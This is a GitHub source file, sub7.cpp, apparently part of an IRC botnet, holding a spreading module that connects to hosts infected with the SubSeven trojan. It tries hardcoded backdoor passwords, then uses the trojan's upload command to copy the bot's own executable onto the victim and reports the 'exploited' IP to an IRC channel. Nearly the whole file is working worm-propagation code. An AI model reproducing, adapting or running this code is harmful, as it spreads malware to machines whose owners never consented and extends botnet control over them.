-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathsub7.cpp
131 lines (106 loc) · 2.86 KB
/
sub7.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#include "includes.h"
#include "functions.h"
#include "externs.h"
#ifndef NO_SUB7
int Sub7_Receive(SOCKET ssock)
{
TIMEVAL timeout;
timeout.tv_sec = 30;//timeout after 30 sec.
timeout.tv_usec = 0;
fd_set fd_struct;
FD_ZERO(&fd_struct);
FD_SET(ssock, &fd_struct);
if (fselect(0, &fd_struct, NULL, NULL, &timeout) <= 0) {
fclosesocket(ssock);
return -1;
}
return 0;
}
BOOL Sub7(EXINFO exinfo)
{
char buffer[IRCLINE];
int repeat=0, c;
DWORD mode=0;
SOCKET ssock;
if ((ssock = fsocket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)
return FALSE;
SOCKADDR_IN sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = finet_addr(exinfo.ip);
sin.sin_port = fhtons((unsigned short)exinfo.port);
fconnect(ssock,(LPSOCKADDR)&sin,sizeof(sin));
fioctlsocket(ssock,FIONBIO,&mode);
restart:;
memset(buffer,0,sizeof(buffer));
if (Sub7_Receive(ssock) == -1)
goto end;
if (frecv(ssock, buffer, sizeof(buffer), 0) <= 0)
goto end;
if (strcmp(buffer,"PWD") == 0) {
if (repeat > 1)
goto end;
else
sprintf(buffer,((repeat == 0)?("PWD715"):("PWD14438136782715101980")));
repeat++;
if (fsend(ssock,buffer,strlen(buffer), 0) <= 0)
goto end;
goto restart;
}
strtok(buffer," ");
if (strcmp(buffer,"connected.") == 0) {
fsend(ssock,"UPS",3, 0);
memset(buffer,0,sizeof(buffer));
if (Sub7_Receive(ssock) == -1)
goto end;
frecv(ssock, buffer, sizeof(buffer), 0);
if (strcmp(buffer,"TID") != 0)
goto end;
char botfile[MAX_PATH], tmpbuf[1041];
GetModuleFileName(NULL,botfile,sizeof(botfile));
HANDLE testfile = CreateFile(botfile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
if (testfile == INVALID_HANDLE_VALUE)
goto end;
int size = GetFileSize(testfile,NULL);
CloseHandle(testfile);
sprintf(buffer,"SFT05%i",size);
fsend(ssock,buffer,10, 0);
FILE *infile;
if ((infile = fopen(botfile,"rb")) == NULL)
goto end;
while (1) {
memset(tmpbuf,0,sizeof(tmpbuf));
c = fread(tmpbuf,1,sizeof(tmpbuf),infile);
if (c == 0)
break;
if (fsend(ssock,tmpbuf ,c, 0) <= 0) {
fclose(infile);
goto end;
}
}
fclose(infile);
c=0;
DWORD err = frecv(ssock, buffer, sizeof(buffer), 0);
while (err > 0) {
if ((c > 3) || (Sub7_Receive(ssock) == -1))
break;
err = frecv(ssock, buffer, sizeof(buffer), 0);
c++;
}
fclosesocket(ssock);
_snprintf(buffer,sizeof(buffer),"[%s]: Exploiting IP: %s.",exploit[exinfo.exploit].name,exinfo.ip);
if (!exinfo.silent) irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice);
addlog(buffer);
exploit[exinfo.exploit].stats++;
return TRUE;
} else if (repeat == 1) {
fclosesocket(ssock);
Sleep(2000);
if ((ssock = CreateSock(exinfo.ip,exinfo.port)) == SOCKET_ERROR)
goto end;
goto restart;
}
end:;
fclosesocket(ssock);
return FALSE;
}
#endif